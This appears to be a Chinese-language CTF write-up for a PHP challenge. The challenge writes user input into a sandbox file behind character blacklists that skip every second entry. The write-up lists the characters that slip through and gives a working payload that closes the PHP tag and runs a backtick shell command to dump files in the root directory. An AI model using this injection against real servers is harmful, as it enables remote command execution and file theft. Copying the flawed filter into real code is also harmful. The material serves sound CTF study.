error_reporting(0);
include "config.php";
//flag in /
function check_letter($code){
$letter_blacklist = str_split("abcdefghijklmnopqrstuvwxyz1234567890");
for ($i = 0; $i < count($letter_blacklist); $i+=2){
if (preg_match("/".$letter_blacklist[$i]."/i", $code)){
die("xi nei~");
}
}
}
function check_character($code){
$character_blacklist = array('=','\+','%','_','\)','\(','\*','&','\^','-','\$','#','`','@','!','~','\]','\[','}','{','\'','\"',';',' ','\/','\.','\?',',','<',':','>');
for ($i = 1; $i < count($character_blacklist); $i+=2){
if (preg_match("/".$character_blacklist[$i]."/", $code)){
die("tongtong xi nei~");
}
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if (!file_exists($dir)) {
mkdir($dir);
}
if (isset($_GET["code"])) {
$code = substr($_GET["code"], 0, 12);
check_letter($code);
check_character($code);
file_put_contents("$dir" . "index.php", ".$code.$fuxkfile);
echo $dir;
}else{
highlight_file(__FILE__);
}
这两个过滤的函数,发现里面的循环是步长为2的
for ($i = 0; $i < count($letter_blacklist); $i+=2)
第一个循环可以通过的字符有:
b、d、f、h、j、l、n、p、r、t、v、x、z、2、4、6、8、0
第二个循环可以通过的字符有:
=、%、)、*、^、$、`、!、]、}、'、;、/、?、<、>
接下来就是往某个目录下的php文件里面写东西了
file_put_contents("$dir" . "index.php", ".$code.$fuxkfile);
但是里面有一个$fuxkfile,不知道是什么东西
花了20分换了一个hint
我们可以这样构造code,先闭合前面的,再开一个=
由于前面说了flag在根目录,所以我们直接nl /*
就可以了
?code=?>=`nl%09/*`
成功获取flag